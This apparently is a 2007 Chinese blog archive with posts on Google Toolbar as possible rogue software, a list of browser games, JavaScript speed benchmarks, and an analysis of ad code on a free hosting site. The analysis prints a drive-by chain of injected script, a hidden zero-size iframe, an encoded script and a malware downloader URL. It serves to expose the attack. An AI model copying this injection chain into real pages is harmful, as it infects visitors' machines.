互联网分析师秦川对记者表示,由于谷歌采用了合作推广,其中一些合作伙伴采用不提示的方式进行操作,伤害了谷歌的声誉,相信并非李开复的本意.但是这种情况并不由谷歌完全控制,这是其相对激进的推广做法带来的负面效果.
目前谷歌在中国搜索行业的市场份额为14%,这与其历史最高水平31.2%相去甚远.为扩张市场,大规模的捆绑合作在所难免.
哈哈。Google的工具条也有被某些人认为是流氓软件的一天。
我认为，其实GTB（IE版）本身作为流氓软件的所谓“恶意”定义并不很明显。它在大约去年之前，还只是一个百分之百的BHO插件，不会向系统中加入任何不该加入的东西（比如雅虎助手表面上的随系统启动、自动更新，底层的DLL插入、yaskp.sys自我保护驱动）。后来出了个 GoogleToolbarNotifier.exe，随系统启动，删了启动项还出来。这时候开始就觉得这东西有潜在恶意了。不过像雅虎助手和CNNIC 那样臭名昭著的流氓手段，GTB并未用到。至于捆绑，令人诟病的在国内主要有两条：N多软件捆绑（但不是强制捆绑）IE版的GTB，比如我的 favourite——Flashget 1.73；还有现在某些人做得无处不在的“下载带有Google工具栏的Firefox”垃圾广告。不过这些多半并非Google的错误，而是那些个想骗 Google钱的国内开发者和网站作者的错误。
Google Toolbar不符合流氓软件的“难以删除”这一基本特征。不加驱动，不用其它暗桩和非可选的强制自动更新，不存在难以删除。至于捆绑，很多洋软件一样有捆绑这鬼东西（举例，我的又一个favourite：IrfanView）。共享软件想赚钱，也没别的办法。所谓Google版Firefox，我是不会用的。开源软件可以被大公司赞助，但我不允许Google Toolbar这样纯粹的无用的私有软件污染Fx——（另外Fx for Win的安装程序是NSIS，是open source的）
总之Google Toolbar不是像雅虎助手和CNNIC那样的流氓软件，但是当我手工杀毒的时候，我会毫不犹豫地将其逐出目的机器。
本文纯属胡扯
一些“网页中的游戏和小程序”选集
最近随着不能运行Flash、Java的一些带有网页浏览器的设备（最典型的就是苹果的iPhone）的上市，大量仅仅使用HTML、 Javascript的网页小游戏、小程序如雨后春笋一般冒了出来。（其实以前也有此类不错的制作，比如一个日本人制作的超级马里奥复制版）。
这里我做了一个很小的选集，供大家参考。
iPhone纸牌 http://www.iphone-solitaire.com/
超级马里奥复制版 Super Maryo World http://www.janis.or.jp/users/segabito/JavaScriptMaryo.html （注意：不支持Opera，Fx也有点操作问题）
Dragon Fury http://www.dseffects.biz/iphone/games/DragonFury/DragonFury.php （为iphone设计，没触摸设备很麻烦。。）
网页上的文本编辑器 http://69.36.229.120/website/default.aspx
iPhone blackjack http://mynumo.com/iphone/bj/blackjack.htm
iTouch http://homepage.mac.com/hockey2891/Widgetaria/iTouch/
iChess http://ec2-72-44-51-230.z-1.compute-1.amazonaws.com/ichess.html
这里我做了一个很小的选集，供大家参考。
iPhone纸牌 http://www.iphone-solitaire.com/
超级马里奥复制版 Super Maryo World http://www.janis.or.jp/users/segabito/JavaScriptMaryo.html （注意：不支持Opera，Fx也有点操作问题）
Dragon Fury http://www.dseffects.biz/iphone/games/DragonFury/DragonFury.php （为iphone设计，没触摸设备很麻烦。。）
网页上的文本编辑器 http://69.36.229.120/website/default.aspx
iPhone blackjack http://mynumo.com/iphone/bj/blackjack.htm
iTouch http://homepage.mac.com/hockey2891/Widgetaria/iTouch/
iChess http://ec2-72-44-51-230.z-1.compute-1.amazonaws.com/ichess.html
2007年7月9日星期一
国内某著名个人空间页面广告代码含有MS06-014网马
某国内免费个人空间在所有免费空间的页面末尾都会加上如下代码：
<SCRIPT language=javascript type="text/javascript" src="http://www.ik8.com/jqqonline/bottom1.js"></SCRIPT>
这个代码里有个有趣的东西：
document.write("<iframe width=740s height=100 align=center frameborder=0 scrolling=no src='http://www.ik8.com/jqqonline/bottom1.htm'></iframe>");
继续跟踪：
<iframe src="http://idc.kis163.com/index.html?id=ik8" width="0" height="0" ></iframe>
可疑啊。。。。。。继续：
<SCRIPT language="Jscript.encode" src=link.js></script>
看了link.js，加密的。稍微弄了一下，
找出个好东西：
union.uiiiu.com/soft/sms.exe
<SCRIPT language=javascript type="text/javascript" src="http://www.ik8.com/jqqonline/bottom1.js"></SCRIPT>
这个代码里有个有趣的东西：
document.write("<iframe width=740s height=100 align=center frameborder=0 scrolling=no src='http://www.ik8.com/jqqonline/bottom1.htm'></iframe>");
继续跟踪：
<iframe src="http://idc.kis163.com/index.html?id=ik8" width="0" height="0" ></iframe>
可疑啊。。。。。。继续：
<SCRIPT language="Jscript.encode" src=link.js></script>
看了link.js，加密的。稍微弄了一下，
找出个好东西：
union.uiiiu.com/soft/sms.exe
哈哈、、、、
一看就不是个好东西。
whois一下uiiiu.com
得：
Domain Name:uiiiu.com
Registrant:
Zhang san
Fujian province,Xiamen City
200030
Administrative Contact:
ZhangSan
Zhang san
Fujian province,Xiamen City
Xiamen Fujian 200030
CN
tel: 101 2345678
fax: 101 2345678
888888@kkk.com
Technical Contact:
ZhangSan
Zhang san
Fujian province,Xiamen City
Xiamen Fujian 200030
CN
tel: 2345678
fax: 2345678
888888@kkk.com
Billing Contact:
ZhangSan
Zhang san
Fujian province,Xiamen City
Xiamen Fujian 200030
CN
tel: 2345678
fax: 2345678
888888@kkk.com
Registration Date: 2007-05-08
Update Date: 2007-05-08
Expiration Date: 2008-05-08
Primary DNS: ns2.xinnetdns.com 210.51.170.48
Secondary DNS: ns2.xinnet.cn 210.51.170.67
张三。。。Orz，不是正人君子。
唉。这个毒自己做了一下小研究，是常见的下载者。。。唉。
7.9更新：今天早上就没了。看来不愧是著名站啊。
2007年7月4日星期三
发现一个 javascript速度测试的网站
http://celtickane.com/projects/jsspeed.php
我今天偶然digg出来的。。
哈哈，Mac被LOLI无情破坏，只能在我的PC（ThinkPad R60 94602EC+WinXP SP2）下随便比较了几个。
IE7:
Test Description Duration (ms)
Try/Catch with errors 31
Layer movement 469
Random number engine 63
Math engine 140
DOM speed 282
Array functions 31
String functions 31
Ajax declaration 1078
Total Duration 2125ms
Opera 9.2:
Test Description Duration (ms)
Try/Catch with errors 16
Layer movement 78
Random number engine 62
Math engine 78
DOM speed 32
Array functions 62
String functions 141
Ajax declaration 15
Total Duration 484 ms
Safari for Windows 3.0.2+WebKit-SVN-r23922:
K-Meleon 1.0.2:
Firefox 1.5.0.12（写这篇用的）
Firefox 2.0.0.3:
可以看出Safari最快，Opera次之，K-Meleon1.02和Firefox 2.0.0.3不分伯仲，Firefox 1.5.0.12再次，IE7最慢。。
我今天偶然digg出来的。。
哈哈，Mac被LOLI无情破坏，只能在我的PC（ThinkPad R60 94602EC+WinXP SP2）下随便比较了几个。
IE7:
Test Description Duration (ms)
Try/Catch with errors 31
Layer movement 469
Random number engine 63
Math engine 140
DOM speed 282
Array functions 31
String functions 31
Ajax declaration 1078
Total Duration 2125ms
Opera 9.2:
Test Description Duration (ms)
Try/Catch with errors 16
Layer movement 78
Random number engine 62
Math engine 78
DOM speed 32
Array functions 62
String functions 141
Ajax declaration 15
Total Duration 484 ms
Safari for Windows 3.0.2+WebKit-SVN-r23922:
| Test Description | Duration (ms) |
| Try/Catch with errors | 16 |
| Layer movement | 31 |
| Random number engine | 47 |
| Math engine | 47 |
| DOM speed | 16 |
| Array functions | 78 |
| String functions | 15 |
| Ajax declaration | 16 |
| Total Duration | 266 ms |
K-Meleon 1.0.2:
| Test Description | Duration (ms) | |
| Try/Catch with errors | 125 | |
| Layer movement | 188 | |
| Random number engine | 156 | |
| Math engine | 250 | |
| DOM speed | 172 | |
| Array functions | 140 | |
| String functions | 32 | |
| Ajax declaration | 140 | |
| Total Duration | 1203 ms | |
Firefox 1.5.0.12（写这篇用的）
| Test Description | Duration (ms) |
| Try/Catch with errors | 109 |
| Layer movement | 219 |
| Random number engine | 266 |
| Math engine | 265 |
| DOM speed | 172 |
| Array functions | 110 |
| String functions | 16 |
| Ajax declaration | 172 |
| Total Duration | 1329 ms |
Firefox 2.0.0.3:
| Test Description | Duration (ms) |
| Try/Catch with errors | 62 |
| Layer movement | 188 |
| Random number engine | 187 |
| Math engine | 250 |
| DOM speed | 156 |
| Array functions | 125 |
| String functions | 16 |
| Ajax declaration | 156 |
| Total Duration | 1140 ms |
可以看出Safari最快，Opera次之，K-Meleon1.02和Firefox 2.0.0.3不分伯仲，Firefox 1.5.0.12再次，IE7最慢。。
订阅：
博文 (Atom)